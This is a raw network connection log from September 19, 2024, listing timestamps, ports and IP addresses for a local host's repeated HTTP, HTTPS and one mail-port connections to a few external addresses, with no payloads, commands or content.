Sep 19, 2024 12:21:15.559966087 CEST	80	49715	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:16.216988087 CEST	80	49715	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:16.240864992 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:16.240935087 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:16.241044998 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:16.249074936 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:16.249100924 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:16.272459984 CEST	49715	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:16.712842941 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:16.716872931 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:16.716905117 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:16.853387117 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:16.853600979 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:16.853660107 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:16.854192019 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:16.860960960 CEST	49715	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:16.861807108 CEST	49717	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:16.866307974 CEST	80	49715	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:16.866383076 CEST	49715	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:16.866703987 CEST	80	49717	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:16.866792917 CEST	49717	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:16.866899014 CEST	49717	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:16.871673107 CEST	80	49717	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:17.531632900 CEST	80	49717	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:17.533658028 CEST	49718	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:17.533741951 CEST	443	49718	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:17.533857107 CEST	49718	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:17.534282923 CEST	49718	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:17.534317017 CEST	443	49718	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:17.572408915 CEST	49717	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:17.991929054 CEST	443	49718	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:17.993438959 CEST	49718	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:17.993480921 CEST	443	49718	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:18.127141953 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.328597069 CEST	443	49718	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:18.328685999 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:18.328758001 CEST	443	49718	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:18.328865051 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.328867912 CEST	49718	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:18.329586029 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.329694986 CEST	49718	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:18.333147049 CEST	49717	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.334108114 CEST	49720	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.334369898 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:18.338416100 CEST	80	49717	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:18.338474989 CEST	49717	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.339059114 CEST	80	49720	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:18.339263916 CEST	49720	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.339478016 CEST	49720	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:18.344310045 CEST	80	49720	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:19.012907028 CEST	80	49720	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:19.014273882 CEST	49721	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.014313936 CEST	443	49721	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.014539003 CEST	49721	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.014879942 CEST	49721	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.014890909 CEST	443	49721	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.021155119 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:19.057081938 CEST	49720	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:19.072381973 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:19.077233076 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:19.082222939 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:19.287348032 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:19.338020086 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:19.356585979 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.356688976 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.356931925 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.362106085 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.362143993 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.563760996 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:19.563858986 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:19.570703983 CEST	443	49721	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.572628975 CEST	49721	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.572715998 CEST	443	49721	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.697506905 CEST	443	49721	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.697732925 CEST	443	49721	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:19.697823048 CEST	49721	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.698390007 CEST	49721	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:19.718041897 CEST	49720	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:19.723598003 CEST	80	49720	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:19.723709106 CEST	49720	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:19.729265928 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:19.729357004 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:19.729443073 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:19.729983091 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:19.730019093 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:20.036699057 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.036819935 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.038865089 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.038892984 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.039576054 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.088009119 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.104931116 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.147440910 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.216320992 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.216461897 CEST	443	49722	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.216556072 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.220124006 CEST	49722	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.224432945 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:20.229743004 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:20.385214090 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:20.385293961 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:20.387558937 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:20.387573004 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:20.387801886 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:20.391854048 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:20.434741020 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:20.437175989 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.437247992 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.437347889 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.437660933 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:20.437694073 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:20.439424038 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:20.478699923 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:20.631978989 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:20.632035971 CEST	443	49724	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:20.632096052 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:20.641865969 CEST	49724	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:21.798454046 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:21.800815105 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:21.800848007 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:21.955672026 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:21.955899000 CEST	443	49726	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:21.956089020 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:21.956396103 CEST	49726	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:21.959039927 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:21.960311890 CEST	49728	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:21.964306116 CEST	80	49719	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:21.964462996 CEST	49719	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:21.965209007 CEST	80	49728	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:21.965290070 CEST	49728	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:21.965411901 CEST	49728	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:21.970175028 CEST	80	49728	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:23.019723892 CEST	80	49728	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:23.019907951 CEST	80	49728	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:23.019968987 CEST	49728	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:23.021212101 CEST	49729	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:23.021269083 CEST	443	49729	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:23.021433115 CEST	49729	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:23.021692991 CEST	49729	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:23.021723032 CEST	443	49729	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:23.510236979 CEST	443	49729	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:23.512058973 CEST	49729	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:23.512115002 CEST	443	49729	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:23.660641909 CEST	443	49729	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:23.660722017 CEST	443	49729	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:23.661003113 CEST	49729	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:23.661628962 CEST	49729	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:23.667190075 CEST	49732	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:23.673557043 CEST	80	49732	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:23.673723936 CEST	49732	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:23.673831940 CEST	49732	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:23.678637981 CEST	80	49732	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:24.361613989 CEST	80	49732	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:24.363497972 CEST	49733	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:24.363538027 CEST	443	49733	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:24.363658905 CEST	49733	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:24.364042044 CEST	49733	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:24.364061117 CEST	443	49733	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:24.416220903 CEST	49732	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:24.840174913 CEST	443	49733	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:24.850300074 CEST	49733	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:24.850343943 CEST	443	49733	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:24.989567995 CEST	443	49733	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:24.989793062 CEST	443	49733	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:24.989850044 CEST	49733	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:24.990147114 CEST	49733	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:24.993351936 CEST	49732	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:24.994522095 CEST	49734	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:24.998771906 CEST	80	49732	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:24.998857021 CEST	49732	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:24.999423981 CEST	80	49734	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:24.999511957 CEST	49734	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:24.999561071 CEST	49734	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:25.004360914 CEST	80	49734	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:25.693104982 CEST	80	49734	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:25.695278883 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:25.695324898 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:25.695631027 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:25.695980072 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:25.696017981 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:25.744267941 CEST	49734	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:25.843488932 CEST	49709	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:26.182627916 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:26.184525013 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:26.184562922 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:26.310863018 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:26.310952902 CEST	443	49735	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:26.311021090 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:26.311722040 CEST	49735	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:26.315459967 CEST	49734	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:26.316658974 CEST	49736	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:26.320708036 CEST	80	49734	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:26.320790052 CEST	49734	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:26.321600914 CEST	80	49736	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:26.321686029 CEST	49736	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:26.321783066 CEST	49736	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:26.326606035 CEST	80	49736	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:26.987364054 CEST	80	49736	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:26.989165068 CEST	49737	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:26.989268064 CEST	443	49737	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:26.989372969 CEST	49737	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:26.989625931 CEST	49737	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:26.989650011 CEST	443	49737	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:27.041163921 CEST	49736	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:27.475860119 CEST	443	49737	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:27.477965117 CEST	49737	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:27.478043079 CEST	443	49737	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:27.629358053 CEST	443	49737	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:27.629594088 CEST	443	49737	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:27.629803896 CEST	49737	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:27.630424976 CEST	49737	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:27.634592056 CEST	49736	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:27.635993958 CEST	49738	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:27.640039921 CEST	80	49736	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:27.640126944 CEST	49736	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:27.640901089 CEST	80	49738	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:27.640980005 CEST	49738	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:27.641232014 CEST	49738	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:27.646434069 CEST	80	49738	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:28.314029932 CEST	80	49738	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:28.316930056 CEST	49739	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:28.316978931 CEST	443	49739	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:28.317156076 CEST	49739	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:28.317542076 CEST	49739	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:28.317562103 CEST	443	49739	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:28.369297028 CEST	49738	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:28.777781963 CEST	443	49739	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:28.779372931 CEST	49739	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:28.779396057 CEST	443	49739	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:28.933456898 CEST	443	49739	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:28.933726072 CEST	443	49739	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:28.933798075 CEST	49739	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:28.937931061 CEST	49739	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:28.940872908 CEST	49738	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:28.941936970 CEST	49740	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:28.946054935 CEST	80	49738	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:28.946227074 CEST	49738	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:28.946866989 CEST	80	49740	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:28.946954012 CEST	49740	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:28.947068930 CEST	49740	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:28.951899052 CEST	80	49740	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:29.621263027 CEST	80	49740	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:29.623362064 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:29.623424053 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:29.623487949 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:29.624000072 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:29.624013901 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:29.666120052 CEST	49740	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:30.094866991 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:30.096692085 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:30.096734047 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:30.247060061 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:30.247173071 CEST	443	49741	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:30.247241974 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:30.247883081 CEST	49741	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:30.251425982 CEST	49740	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:30.252839088 CEST	49742	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:30.256496906 CEST	80	49740	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:30.256578922 CEST	49740	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:30.257910967 CEST	80	49742	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:30.257992983 CEST	49742	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:30.258122921 CEST	49742	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:30.262897968 CEST	80	49742	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:30.941971064 CEST	80	49742	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:30.943892002 CEST	49743	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:30.943936110 CEST	443	49743	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:30.944029093 CEST	49743	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:30.944324970 CEST	49743	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:30.944344044 CEST	443	49743	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:30.994340897 CEST	49742	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:31.405523062 CEST	443	49743	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:31.407099962 CEST	49743	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:31.407125950 CEST	443	49743	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:31.541224003 CEST	443	49743	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:31.541448116 CEST	443	49743	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:31.541642904 CEST	49743	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:31.541985989 CEST	49743	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:31.551016092 CEST	49742	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:31.551899910 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:31.551954985 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:31.552035093 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:31.552434921 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:31.552452087 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:31.556333065 CEST	80	49742	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:31.556422949 CEST	49742	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:32.162729979 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:32.162839890 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:32.164639950 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:32.164649010 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:32.164969921 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:32.166380882 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:32.211390972 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:32.341511011 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:32.341644049 CEST	443	49744	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:32.341710091 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:32.344655991 CEST	49744	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:35.156666994 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:35.162122011 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:35.162220955 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:35.890657902 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:35.890930891 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:35.895828009 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:36.051333904 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:36.052361965 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:36.057282925 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:36.216126919 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:36.216490984 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:36.221395969 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:37.475754023 CEST	49728	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:38.430066109 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:38.430318117 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:38.436453104 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:38.593972921 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:38.594217062 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:38.599428892 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:38.775335073 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:38.782454014 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:38.788278103 CEST	61513	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:38.788316965 CEST	443	61513	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:38.788388014 CEST	61513	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:38.788755894 CEST	61513	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:38.788778067 CEST	443	61513	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:38.793843985 CEST	587	49745	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:38.793905973 CEST	49745	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:39.425574064 CEST	443	61513	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:39.436253071 CEST	61513	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:39.436275959 CEST	443	61513	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:39.436482906 CEST	61513	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:39.436494112 CEST	443	61513	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:39.729399920 CEST	443	61513	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:39.729595900 CEST	443	61513	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:39.729654074 CEST	61513	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:39.730047941 CEST	61513	443	192.168.2.5	149.154.167.220
